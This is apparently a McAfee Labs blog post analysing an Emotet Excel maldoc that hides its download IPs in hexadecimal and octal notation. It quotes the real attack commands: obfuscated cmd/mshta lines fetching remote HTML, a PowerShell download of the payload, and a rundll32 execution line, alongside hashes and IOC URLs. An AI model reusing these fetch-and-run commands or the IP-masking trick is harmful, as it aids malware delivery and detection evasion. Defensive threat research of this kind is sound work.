Emotet’s Uncommon Approach of Masking IP Addresses

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format:

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee
Figure 1: Image of Infection map for EMOTET Maldoc as observed by McAfee

Threat Summary

  1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
  2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
  3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
  4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Figure 3- Named Manager and Auto_Open triggers
Figure 3- Named Manager and Auto_Open triggers

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

Hexadecimal cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html http://185[.]7[.]214[.]7/fer/fer.html
Octal cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html http://46[.]105[.]81[.]76/c.html


On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

Figure 4: Process tree of excel execution
Figure 4: Process tree of excel execution

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

Figure 5- Image of HTML page viewed on browser
Figure 5- Image of HTML page viewed on a browser

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

cmd line (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’)

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

cmd line cmd  /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString


XLS 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c McAfee LiveSafe and Total Protection X97M/Downloader.nn
DLL a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 McAfee LiveSafe and Total Protection


HTML URL http://185[.]7[.]214[.]7/fer/fer.html


WebAdvisor Blocked
DLL URL http://185[.]7[.]214[.]7/fer/fer.png


WebAdvisor Blocked


T1566 Initial access Phishing attachment Initial maldoc uses phishing strings to convince users to open the maldoc
T1204 Execution User Execution Manual execution by user
T1071 Command and Control Standard Application Layer Protocol Attempts to connect through HTTP
T1059 Command and Scripting Interpreter Starts CMD.EXE for commands execution Excel uses cmd and PowerShell to execute command


Signed Binary Proxy Execution Uses RUNDLL32.EXE and MSHTA.EXE to load library rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript


Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

Introducing McAfee+

Identity theft protection and privacy for your digital life

FacebookLinkedInTwitterEmailCopy Link

Stay Updated

Follow us to stay updated on all things McAfee and on top of the latest consumer and mobile security threats.


More from McAfee Labs

Back to top